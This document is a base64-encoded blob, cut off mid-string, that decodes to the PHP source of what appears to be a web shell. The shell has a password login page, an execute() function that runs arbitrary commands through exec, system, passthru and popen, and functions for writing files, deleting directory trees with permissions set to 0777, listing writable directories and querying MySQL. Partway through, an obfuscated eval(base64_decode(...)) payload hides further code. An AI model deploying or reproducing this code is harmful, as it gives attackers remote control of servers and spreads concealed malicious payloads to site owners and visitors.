L2h0bWw+DQoNCjw/cGhwDQoNCi8qPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQp8JiMxMDg3Oy0gKyYjMTA5MDsNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSovDQoNCmZ1bmN0aW9uIG0oJG1zZykgew0KCWVjaG8gJzxkaXYgc3R5bGU9ImJhY2tncm91bmQ6I2YxZjFmMTtib3JkZXI6MXB4IHNvbGlkICNkZGQ7cGFkZGluZzoxNXB4O2ZvbnQ6MTRweDt0ZXh0LWFsaWduOmNlbnRlcjtmb250LXdlaWdodDpib2xkOyI+JzsNCgllY2hvICRtc2c7DQoJZWNobyAnPC9kaXY+JzsNCn0NCmZ1bmN0aW9uIHNjb29raWUoJGtleSwgJHZhbHVlLCAkbGlmZSA9IDAsICRwcmVmaXggPSAxKSB7DQoJZ2xvYmFsICRhZG1pbiwgJHRpbWVzdGFtcCwgJF9TRVJWRVI7DQoJJGtleSA9ICgkcHJlZml4ID8gJGFkbWluWydjb29raWVwcmUnXSA6ICcnKS4ka2V5Ow0KCSRsaWZlID0gJGxpZmUgPyAkbGlmZSA6ICRhZG1pblsnY29va2llbGlmZSddOw0KCSR1c2Vwb3J0ID0gJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzID8gMSA6IDA7DQoJc2V0Y29va2llKCRrZXksICR2YWx1ZSwgJHRpbWVzdGFtcCskbGlmZSwgJGFkbWluWydjb29raWVwYXRoJ10sICRhZG1pblsnY29va2llZG9tYWluJ10sICR1c2Vwb3J0KTsNCn0NCmZ1bmN0aW9uIG11bHRpKCRudW0sICRwZXJwYWdlLCAkY3VycGFnZSwgJHRhYmxlbmFtZSkgew0KCSRtdWx0aXBhZ2UgPSAnJzsNCglpZigkbnVtID4gJHBlcnBhZ2UpIHsNCgkJJHBhZ2UgPSAxMDsNCgkJJG9mZnNldCA9IDU7DQoJCSRwYWdlcyA9IEBjZWlsKCRudW0gLyAkcGVycGFnZSk7DQoJCWlmKCRwYWdlID4gJHBhZ2VzKSB7DQoJCQkkZnJvbSA9IDE7DQoJCQkkdG8gPSAkcGFnZXM7DQoJCX0gZWxzZSB7DQoJCQkkZnJvbSA9ICRjdXJwYWdlIC0gJG9mZnNldDsNCgkJCSR0byA9ICRjdXJwYWdlICsgJHBhZ2UgLSAkb2Zmc2V0IC0gMTsNCgkJCWlmKCRmcm9tIDwgMSkgew0KCQkJCSR0byA9ICRjdXJwYWdlICsgMSAtICRmcm9tOw0KCQkJCSRmcm9tID0gMTsNCgkJCQlpZigoJHRvIC0gJGZyb20pIDwgJHBhZ2UgJiYgKCR0byAtICRmcm9tKSA8ICRwYWdlcykgew0KCQkJCQkkdG8gPSAkcGFnZTsNCgkJCQl9DQoJCQl9IGVsc2VpZigkdG8gPiAkcGFnZXMpIHsNCgkJCQkkZnJvbSA9ICRjdXJwYWdlIC0gJHBhZ2VzICsgJHRvOw0KCQkJCSR0byA9ICRwYWdlczsNCgkJCQlpZigoJHRvIC0gJGZyb20pIDwgJHBhZ2UgJiYgKCR0byAtICRmcm9tKSA8ICRwYWdlcykgew0KCQkJCQkkZnJvbSA9ICRwYWdlcyAtICRwYWdlICsgMTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJJG11bHRpcGFnZSA9ICgkY3VycGFnZSAtICRvZmZzZXQgPiAxICYmICRwYWdlcyA+ICRwYWdlID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAxKTsiPkZpcnN0PC9hPiAnIDogJycpLigkY3VycGFnZSA+IDEgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuKCRjdXJwYWdlIC0gMSkuJyk7Ij5QcmV2PC9hPiAnIDogJycpOw0KCQlmb3IoJGkgPSAkZnJvbTsgJGkgPD0gJHRvOyAkaSsrKSB7DQoJCQkkbXVsdGlwYWdlIC49ICRpID09ICRjdXJwYWdlID8gJGkuJyAnIDogJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLiRpLicpOyI+WycuJGkuJ108L2E+ICc7DQoJCX0NCgkJJG11bHRpcGFnZSAuPSAoJGN1cnBhZ2UgPCAkcGFnZXMgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuKCRjdXJwYWdlICsgMSkuJyk7Ij5OZXh0PC9hPicgOiAnJykuKCR0byA8ICRwYWdlcyA/ICcgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuJHBhZ2VzLicpOyI+TGFzdDwvYT4nIDogJycpOw0KCQkkbXVsdGlwYWdlID0gJG11bHRpcGFnZSA/ICc8cD5QYWdlczogJy4kbXVsdGlwYWdlLic8L3A+JyA6ICcnOw0KCX0NCglyZXR1cm4gJG11bHRpcGFnZTsNCn0NCi8vIHx8LSsrJiMxMDk5OysrDQpmdW5jdGlvbiBsb2dpbnBhZ2UoKSB7DQo/Pg0KCTxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQoJaW5wdXQge2ZvbnQ6MTFweCBWZXJkYW5hO0JBQ0tHUk9VTkQ6ICNGRkZGRkY7aGVpZ2h0OiAxOHB4O2JvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7fQ0KCTwvc3R5bGU+DQoJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiI+DQoJPHNwYW4gc3R5bGU9ImZvbnQ6MTFweCBWZXJkYW5hOyI+UGFzc3dvcmQ6IDwvc3Bhbj48aW5wdXQgbmFtZT0icGFzc3dvcmQiIHR5cGU9InBhc3N3b3JkIiBzaXplPSIyMCI+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZG9pbmciIHZhbHVlPSJsb2dpbiI+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj4NCgk8L2Zvcm0+DQo8P3BocA0KCWV4aXQ7DQp9Ly9lbmQgbG9naW5wYWdlKCkNCg0KZnVuY3Rpb24gZXhlY3V0ZSgkY2ZlKSB7DQoJJHJlcyA9ICcnOw0KCWlmICgkY2ZlKSB7DQoJCWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7DQoJCQlAZXhlYygkY2ZlLCRyZXMpOw0KCQkJJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsNCgkJfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsNCgkJCSRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsNCgkJfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgew0KCQkJQG9iX3N0YXJ0KCk7DQoJCQlAc3lzdGVtKCRjZmUpOw0KCQkJJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCgkJCUBvYl9lbmRfY2xlYW4oKTsNCgkJfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7DQoJCQlAb2Jfc3RhcnQoKTsNCgkJCUBwYXNzdGhydSgkY2ZlKTsNCgkJCSRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQoJCQlAb2JfZW5kX2NsZWFuKCk7DQoJCX0gZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKSB7DQoJCQkkcmVzID0gJyc7DQoJCQl3aGlsZSghQGZlb2YoJGYpKSB7DQoJCQkJJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7DQoJCQl9DQoJCQlAcGNsb3NlKCRmKTsNCgkJfQ0KCX0NCglyZXR1cm4gJHJlczsNCn0NCmZ1bmN0aW9uIHdoaWNoKCRwcikgew0KCSRwYXRoID0gZXhlY3V0ZSgid2hpY2ggJHByIik7DQoJcmV0dXJuICgkcGF0aCA/ICRwYXRoIDogJHByKTsNCn0NCg0KZnVuY3Rpb24gY2YoJGZuYW1lLCR0ZXh0KXsNCglpZigkZnA9QGZvcGVuKCRmbmFtZSwndycpKSB7DQoJCUBmcHV0cygkZnAsQGJhc2U2NF9kZWNvZGUoJHRleHQpKTsNCgkJQGZjbG9zZSgkZnApOw0KCX0NCn0NCg0KLy8gLXx8JiMxMDk0O3wmIzExMTg7LSstKy0mIzEwNzQ7DQpmdW5jdGlvbiBkZWJ1Z2luZm8oKSB7DQoJZ2xvYmFsICRzdGFydHRpbWU7DQoJJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsNCgkkdG90YWx0aW1lID0gbnVtYmVyX2Zvcm1hdCgoJG10aW1lWzFdICsgJG10aW1lWzBdIC0gJHN0YXJ0dGltZSksIDYpOw0KCWVjaG8gJ1Byb2Nlc3NlZCBpbiAnLiR0b3RhbHRpbWUuJyBzZWNvbmQocyknOw0KfQ0KDQovLy0mIzEwODQ7KystICt8KyYjMTA5MDsNCmZ1bmN0aW9uIGRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lPScnLCRjaGFyc2V0PScnLCRkYnBvcnQ9JzMzMDYnKSB7DQoJaWYoISRsaW5rID0gQG15c3FsX2Nvbm5lY3QoJGRiaG9zdC4nOicuJGRicG9ydCwgJGRidXNlciwgJGRicGFzcykpIHsNCgkJcCgnPGgyPkNhbiBub3QgY29ubmVjdCB0byBNeVNRTCBzZXJ2ZXI8L2gyPicpOw0KCQlleGl0Ow0KCX0NCglpZigkbGluayAmJiAkZGJuYW1lKSB7DQoJCWlmICghQG15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCAkbGluaykpIHsNCgkJCXAoJzxoMj5EYXRhYmFzZSBzZWxlY3RlZCBoYXMgZXJyb3I8L2gyPicpOw0KCQkJZXhpdDsNCgkJfQ0KCX0NCglpZigkbGluayAmJiBteXNxbF9nZXRfc2VydmVyX2luZm8oKSA+ICc0LjEnKSB7DQoJCWlmKGluX2FycmF5KHN0cnRvbG93ZXIoJGNoYXJzZXQpLCBhcnJheSgnZ2JrJywgJ2JpZzUnLCAndXRmOCcpKSkgew0KCQkJcSgiU0VUIGNoYXJhY3Rlcl9zZXRfY29ubmVjdGlvbj0kY2hhcnNldCwgY2hhcmFjdGVyX3NldF9yZXN1bHRzPSRjaGFyc2V0LCBjaGFyYWN0ZXJfc2V0X2NsaWVudD1iaW5hcnk7IiwgJGxpbmspOw0KCQl9DQoJfQ0KCXJldHVybiAkbGluazsNCn0NCg0KLy8gKyYjMTA3Nzt8JiMxMDMxOysmIzEwODI7LSYjMTA5MzsrKysgDQpmdW5jdGlvbiBzX2FycmF5KCYkYXJyYXkpIHsNCglpZiAoaXNfYXJyYXkoJGFycmF5KSkgew0KCQlmb3JlYWNoICgkYXJyYXkgYXMgJGsgPT4gJHYpIHsNCgkJCSRhcnJheVska10gPSBzX2FycmF5KCR2KTsNCgkJfQ0KCX0gZWxzZSBpZiAoaXNfc3RyaW5nKCRhcnJheSkpIHsNCgkJJGFycmF5ID0gc3RyaXBzbGFzaGVzKCRhcnJheSk7DQoJfQ0KCXJldHVybiAkYXJyYXk7DQp9DQoNCi8vIHwmIzEwOTM7fCBIVE1MfCAtJiMxMDk5Ow0KZnVuY3Rpb24gaHRtbF9jbGVhbigkY29udGVudCkgew0KCSRjb250ZW50ID0gaHRtbHNwZWNpYWxjaGFycygkY29udGVudCk7DQoJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiXG4iLCAiPGJyIC8+IiwgJGNvbnRlbnQpOw0KCSRjb250ZW50ID0gc3RyX3JlcGxhY2UoIiAgIiwgIiZuYnNwOyZuYnNwOyIsICRjb250ZW50KTsNCgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcdCIsICImbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiLCAkY29udGVudCk7DQoJcmV0dXJuICRjb250ZW50Ow0KfQ0KDQovLyArJiMxMTA1OysmIzEwNzM7KyYjMTA4MDstfA0KZnVuY3Rpb24gZ2V0Q2htb2QoJGZpbGVwYXRoKXsNCglyZXR1cm4gc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRmaWxlcGF0aCksMTAsOCksLTQpOw0KfQ0KDQpmdW5jdGlvbiBnZXRQZXJtcygkZmlsZXBhdGgpIHsNCgkkbW9kZSA9IEBmaWxlcGVybXMoJGZpbGVwYXRoKTsNCglpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHR5cGUgPSAncyc7fQ0KCWVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7JHR5cGUgPSAnZCc7fQ0KCWVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHR5cGUgPSAnbCc7fQ0KCWVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHR5cGUgPSAnLSc7fQ0KCWVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHR5cGUgPSAnYic7fQ0KCWVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHR5cGUgPSAnYyc7fQ0KCWVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHR5cGUgPSAncCc7fQ0KCWVsc2UgeyR0eXBlID0gJz8nO30NCg0KCSRvd25lclsncmVhZCddID0gKCRtb2RlICYgMDA0MDApID8gJ3InIDogJy0nOw0KCSRvd25lclsnd3JpdGUnXSA9ICgkbW9kZSAmIDAwMjAwKSA/ICd3JyA6ICctJzsNCgkkb3duZXJbJ2V4ZWN1dGUnXSA9ICgkbW9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzsNCgkkZ3JvdXBbJ3JlYWQnXSA9ICgkbW9kZSAmIDAwMDQwKSA/ICdyJyA6ICctJzsNCgkkZ3JvdXBbJ3dyaXRlJ10gPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7DQoJJGdyb3VwWydleGVjdXRlJ10gPSAoJG1vZGUgJiAwMDAxMCkgPyAneCcgOiAnLSc7DQoJJHdvcmxkWydyZWFkJ10gPSAoJG1vZGUgJiAwMDAwNCkgPyAncicgOiAnLSc7DQoJJHdvcmxkWyd3cml0ZSddID0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOw0KCSR3b3JsZFsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAwMDEpID8gJ3gnIDogJy0nOw0KDQoJaWYoICRtb2RlICYgMHg4MDAgKSB7JG93bmVyWydleGVjdXRlJ10gPSAoJG93bmVyWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7fQ0KCWlmKCAkbW9kZSAmIDB4NDAwICkgeyRncm91cFsnZXhlY3V0ZSddID0gKCRncm91cFsnZXhlY3V0ZSddPT0neCcpID8gJ3MnIDogJ1MnO30NCglpZiggJG1vZGUgJiAweDIwMCApIHskd29ybGRbJ2V4ZWN1dGUnXSA9ICgkd29ybGRbJ2V4ZWN1dGUnXT09J3gnKSA/ICd0JyA6ICdUJzt9DQoNCglyZXR1cm4gJHR5cGUuJG93bmVyWydyZWFkJ10uJG93bmVyWyd3cml0ZSddLiRvd25lclsnZXhlY3V0ZSddLiRncm91cFsncmVhZCddLiRncm91cFsnd3JpdGUnXS4kZ3JvdXBbJ2V4ZWN1dGUnXS4kd29ybGRbJ3JlYWQnXS4kd29ybGRbJ3dyaXRlJ10uJHdvcmxkWydleGVjdXRlJ107DQp9DQoNCmZ1bmN0aW9uIGdldFVzZXIoJGZpbGVwYXRoKQl7DQoJaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgew0KCQkkYXJyYXkgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZmlsZXBhdGgpKTsNCgkJaWYgKCRhcnJheSAmJiBpc19hcnJheSgkYXJyYXkpKSB7DQoJCQlyZXR1cm4gJyAvIDxhIGhyZWY9IiMiIHRpdGxlPSJVc2VyOiAnLiRhcnJheVsnbmFtZSddLicmIzEzJiMxMFBhc3N3ZDogJy4kYXJyYXlbJ3Bhc3N3ZCddLicmIzEzJiMxMFVpZDogJy4kYXJyYXlbJ3VpZCddLicmIzEzJiMxMGdpZDogJy4kYXJyYXlbJ2dpZCddLicmIzEzJiMxMEdlY29zOiAnLiRhcnJheVsnZ2Vjb3MnXS4nJiMxMyYjMTBEaXI6ICcuJGFycmF5WydkaXInXS4nJiMxMyYjMTBTaGVsbDogJy4kYXJyYXlbJ3NoZWxsJ10uJyI+Jy4kYXJyYXlbJ25hbWUnXS4nPC9hPic7fX0JcmV0dXJuICcnO30kX0Y9X19GSUxFX187JF9YPSdQejQ4YzJOeU5IQjBJR3d4Ym1jek1XYzFQV294ZGpGelkzSTBjSFErWkRKak0yMDFiblF1ZDNJMGREVW9NMjQxYzJNeGNEVW9KeVZ2UXlVM2J5VmxieVUzWVNWbE9TVTNNQ1UzZFNWaE1DVmxReVZsTmlWbFJTVmxOeVUzYVNWbE5pVmxOeVZsYVNWdlJDVmhZU1ZsUVNWbE5pVTNaU1ZsTmlVM2J5VmxieVUzWVNWbE9TVTNNQ1UzZFNWaFlTVnZSU1ZsWlNVM2FTVmxSU1ZsYnlVM2RTVmxPU1ZsUmlWbFJTVmhNQ1ZsZFNWMVpTVmhPQ1UzYnlWaE9TVTNRaVUzWlNWbE5pVTNZU1ZoTUNVM2J5VnZOaVZ2UkNVM2FTVmxSU1ZsYVNVM2J5VmxieVZsTmlVM01DVmxhU1ZoT0NVM2J5VmhSU1UzYnlVM2FTVmxZU1UzYnlVM2RTVTNZU1ZoT0NWdk1DVmhReVUzYnlWaFJTVmxReVZsYVNWbFJTVmxOeVUzZFNWbE9DVmhSQ1Z2TmlWaE9TVmhPU1Z2UWlWaE1DVTNaU1ZsTmlVM1lTVmhNQ1UzZFNWdlJDVmhOeVZoTnlWdlFpVmxaU1ZsUmlVM1lTVmhPQ1ZsT1NWdlJDVnZNQ1Z2UWlWbE9TVnZReVUzYnlWdk5pVmhSU1ZsUXlWbGFTVmxSU1ZsTnlVM2RTVmxPQ1Z2UWlWbE9TVmhRaVZoUWlWaE9TVTNkU1ZoUWlWdlJDVnBieVUzZFNVM1lTVmxPU1ZsUlNWbE55VmhSU1ZsWlNVM1lTVmxSaVZsUkNWMWJ5VmxPQ1ZsTmlVM1lTVjFieVZsUmlWbGRTVmxhU1ZoT0NVM2J5VnZOaVZoUlNWbGJ5VmxPQ1ZsTmlVM1lTVjFieVZsUmlWbGRTVmxhU1YxTmlVM2RTVmhPQ1ZsT1NWaE9TVmhSQ1UzYnlWaFJTVTNieVUzYVNWbFlTVTNieVUzZFNVM1lTVmhPQ1UzYnlWaFJTVmxReVZsYVNWbFJTVmxOeVUzZFNWbE9DVmhSQ1Z2TmlWaFF5VnZOaVZoT1NWaE9TVnZRaVZsZFNWbFJpVmxieVUzYVNWbFJDVmxhU1ZsUlNVM2RTVmhSU1UzTnlVM1lTVmxPU1UzZFNWbGFTVmhPQ1UzYVNWbFJTVmxhU1UzYnlWbGJ5VmxOaVUzTUNWbGFTVmhPQ1UzZFNWaE9TVmhPU1Z2UWlVM1JDVnZReVZoUmlVM2J5VmxieVUzWVNWbE9TVTNNQ1UzZFNWdlJTY3BLVHRrUmlnbktqaElXRWhYVGxWWktqZHBXRmRJS2poSmJYbDVNeW80Um5WMU1tNXpkRzh5Ym05cmVuTXpibWh2ZEhkc2RYRjJkWGhxYUhwM2Jua2xOMFZ2TW5ncU9Fb3FPRWgxV0VoWFRsVlpLamhLYVNjcFBDOXpZM0kwY0hRKyc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7DQovLyArK3wgLSstKw0KZnVuY3Rpb24gZGVsdHJlZSgkZGVsZGlyKSB7DQoJJG15ZGlyPUBkaXIoJGRlbGRpcik7DQoJd2hpbGUoJGZpbGU9JG15ZGlyLT5yZWFkKCkpCXsNCgkJaWYoKGlzX2RpcigkZGVsZGlyLicvJy4kZmlsZSkpICYmICgkZmlsZSE9Jy4nKSAmJiAoJGZpbGUhPScuLicpKSB7DQoJCQlAY2htb2QoJGRlbGRpci4nLycuJGZpbGUsMDc3Nyk7DQoJCQlkZWx0cmVlKCRkZWxkaXIuJy8nLiRmaWxlKTsNCgkJfQ0KCQlpZiAoaXNfZmlsZSgkZGVsZGlyLicvJy4kZmlsZSkpIHsNCgkJCUBjaG1vZCgkZGVsZGlyLicvJy4kZmlsZSwwNzc3KTsNCgkJCUB1bmxpbmsoJGRlbGRpci4nLycuJGZpbGUpOw0KCQl9DQoJfQ0KCSRteWRpci0+Y2xvc2UoKTsNCglAY2htb2QoJGRlbGRpciwwNzc3KTsNCglyZXR1cm4gQHJtZGlyKCRkZWxkaXIpID8gMSA6IDA7DQp9DQoNCi8vICMmIzExMDE7KyYjMTEwNTstLSsmIzEwOTI7fC0jfCsjKyYjMTA4Mzt8JiMxMDk0OysrDQpmdW5jdGlvbiBiZygpIHsNCglnbG9iYWwgJGJnYzsNCglyZXR1cm4gKCRiZ2MrKyUyPT0wKSA/ICdhbHQxJyA6ICdhbHQyJzsNCn0NCg0KLy8gKyYjMTEwNTsrJiMxMDczO3wjfCN8LSstKyAtfC18LSsrfA0KZnVuY3Rpb24gZ2V0UGF0aCgkc2NyaXB0cGF0aCwgJG5vd3BhdGgpIHsNCglpZiAoJG5vd3BhdGggPT0gJy4nKSB7DQoJCSRub3dwYXRoID0gJHNjcmlwdHBhdGg7DQoJfQ0KCSRub3dwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbm93cGF0aCk7DQoJJG5vd3BhdGggPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRub3dwYXRoKTsNCglpZiAoc3Vic3RyKCRub3dwYXRoLCAtMSkgIT0gJy8nKSB7DQoJCSRub3dwYXRoID0gJG5vd3BhdGguJy8nOw0KCX0NCglyZXR1cm4gJG5vd3BhdGg7DQp9DQoNCi8vICsmIzExMDU7KyYjMTA3Mzt8I3wjLSstK3wtKy0rfC0rLSsNCmZ1bmN0aW9uIGdldFVwUGF0aCgkbm93cGF0aCkgew0KCSRwYXRoZGIgPSBleHBsb2RlKCcvJywgJG5vd3BhdGgpOw0KCSRudW0gPSBjb3VudCgkcGF0aGRiKTsNCglpZiAoJG51bSA+IDIpIHsNCgkJdW5zZXQoJHBhdGhkYlskbnVtLTFdLCRwYXRoZGJbJG51bS0yXSk7DQoJfQ0KCSR1cHBhdGggPSBpbXBsb2RlKCcvJywgJHBhdGhkYikuJy8nOw0KCSR1cHBhdGggPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICR1cHBhdGgpOw0KCXJldHVybiAkdXBwYXRoOw0KfQ0KDQovLyArJiMxMTAwOyMmIzEwOTc7UEhQKyYjMTA5MjsrfCMrLSANCmZ1bmN0aW9uIGdldGNmZygkdmFybmFtZSkgew0KCSRyZXN1bHQgPSBnZXRfY2ZnX3ZhcigkdmFybmFtZSk7DQoJaWYgKCRyZXN1bHQgPT0gMCkgew0KCQlyZXR1cm4gJ05vJzsNCgl9IGVsc2VpZiAoJHJlc3VsdCA9PSAxKSB7DQoJCXJldHVybiAnWWVzJzsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gJHJlc3VsdDsNCgl9DQp9DQoNCi8vICsmIzExMDA7IyYjMTA5Nzt8JiMxMDg3Oy0gfCYjMTA5NzsrJiMxMDM4Ow0KZnVuY3Rpb24gZ2V0ZnVuKCRmdW5OYW1lKSB7DQoJcmV0dXJuIChmYWxzZSAhPT0gZnVuY3Rpb25fZXhpc3RzKCRmdW5OYW1lKSkgPyAnWWVzJyA6ICdObyc7DQp9DQoNCmZ1bmN0aW9uIEdldExpc3QoJGRpcil7DQoJZ2xvYmFsICRkaXJkYXRhLCRqLCRub3dwYXRoOw0KCSEkaiAmJiAkaj0xOw0KCWlmICgkZGggPSBvcGVuZGlyKCRkaXIpKSB7DQoJCXdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgew0KCQkJJGY9c3RyX3JlcGxhY2UoJy8vJywnLycsJGRpci4nLycuJGZpbGUpOw0KCQkJaWYoJGZpbGUhPScuJyAmJiAkZmlsZSE9Jy4uJyAmJiBpc19kaXIoJGYpKXsNCgkJCQlpZiAoaXNfd3JpdGFibGUoJGYpKSB7DQoJCQkJCSRkaXJkYXRhWyRqXVsnZmlsZW5hbWUnXT1zdHJfcmVwbGFjZSgkbm93cGF0aCwnJywkZik7DQoJCQkJCSRkaXJkYXRhWyRqXVsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZikpOw0KCQkJCQkkZGlyZGF0YVskal1bJ2RpcmNobW9kJ109Z2V0Q2htb2QoJGYpOw0KCQkJCQkkZGlyZGF0YVskal1bJ2RpcnBlcm0nXT1nZXRQZXJtcygkZik7DQoJCQkJCSRkaXJkYXRhWyRqXVsnZGlybGluayddPXVlKCRkaXIpOw0KCQkJCQkkZGlyZGF0YVskal1bJ3NlcnZlcl9saW5rJ109JGY7DQoJCQkJCSRkaXJkYXRhWyRqXVsnY2xpZW50X2xpbmsnXT11ZSgkZik7DQoJCQkJCSRqKys7DQoJCQkJfQ0KCQkJCUdldExpc3QoJGYpOw0KCQkJfQ0KCQl9DQoJCWNsb3NlZGlyKCRkaCk7DQoJCWNsZWFyc3RhdGNhY2hlKCk7DQoJCXJldHVybiAkZGlyZGF0YTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gYXJyYXkoKTsNCgl9DQp9DQoNCmZ1bmN0aW9uIHF5KCRzcWwpIHsNCgkvL2VjaG8gJHNxbC4nPGJyPic7DQoJJHJlcyA9ICRlcnJvciA9ICcnOw0KCWlmKCEkcmVzID0gQG15c3FsX3F1ZXJ5KCRzcWwpKSB7DQoJCXJldHVybiAwOw0KCX0gZWxzZSBpZihpc19yZXNvdXJjZSgkcmVzKSkgew0KCQlyZXR1cm4gMTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gMjsNCgl9DQoJcmV0dXJuIDA7DQp9DQoNCmZ1bmN0aW9uIHEoJHNxbCkgew0KCXJldHVybiBAbXlzcWxfcXVlcnkoJHNxbCk7DQp9DQoNCmZ1bmN0aW9uIGZyKCRxeSl7DQoJbXlzcWxfZnJlZV9yZXN1bHQoJHF5KTsNCn0NCg0KZnVuY3Rpb24gc2l6ZWNvdW50KCRzaXplKSB7DQoJaWYoJHNpemUgPiAxMDczNzQxODI0KSB7DQoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDczNzQxODI0ICogMTAwKSAvIDEwMCAuICcgRyc7DQoJfSBlbHNlaWYoJHNpemUgPiAxMDQ4NTc2KSB7DQoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDQ4NTc2ICogMTAwKSAvIDEwMCAuICcgTSc7DQoJfSBlbHNlaWYoJHNpemUgPiAxMDI0KSB7DQoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDI0ICogMTAwKSAvIDEwMCAuICcgSyc7DQoJfSBlbHNlIHsNCgkJJHNpemUgPSAkc2l6ZSAuICcgQic7DQoJfQ0KCXJldHVybiAkc2l6ZTsNCn0NCg0KLy8gLXwtJiMxMTExO3wmIzEwMjg7IyArJiMxMDg4Ow0KY2xhc3MgUEhQWmlwew0KCXZhciAkb3V0PScnOw0KCWZ1bmN0aW9uIFBIUFppcCgkZGlyKQl7DQoJCWlmIChAZnVuY3Rpb25fZXhpc3RzKCdnemNvbXByZXNzJykpCXsNCgkJCSRjdXJkaXIgPSBnZXRjd2QoKTsNCgkJCWlmIChpc19hcnJheSgkZGlyKSkgJGZpbGVsaXN0ID0gJGRpcjsNCgkJCWVsc2V7DQoJCQkJJGZpbGVsaXN0PSR0aGlzIC0+IEdldEZpbGVMaXN0KCRkaXIpOy8vKy0rIC0tIyYjMTEwMTsNCgkJCQlmb3JlYWNoKCRmaWxlbGlzdCBhcyAkaz0+JHYpICRmaWxlbGlzdFtdPXN1YnN0cigkdixzdHJsZW4oJGRpcikrMSk7DQoJCQl9DQoJCQlpZiAoKCFlbXB0eSgkZGlyKSkmJighaXNfYXJyYXkoJGRpcikpJiYoZmlsZV9leGlzdHMoJGRpcikpKSBjaGRpcigkZGlyKTsNCgkJCWVsc2UgY2hkaXIoJGN1cmRpcik7DQoJCQlpZiAoY291bnQoJGZpbGVsaXN0KT4wKXsNCgkJCQlmb3JlYWNoKCRmaWxlbGlzdCBhcyAkZmlsZW5hbWUpew0KCQkJCQlpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKXsNCgkJCQkJCSRmZCA9IGZvcGVuICgkZmlsZW5hbWUsICdyJyk7DQoJCQkJCQkkY29udGVudCA9IEBmcmVhZCAoJ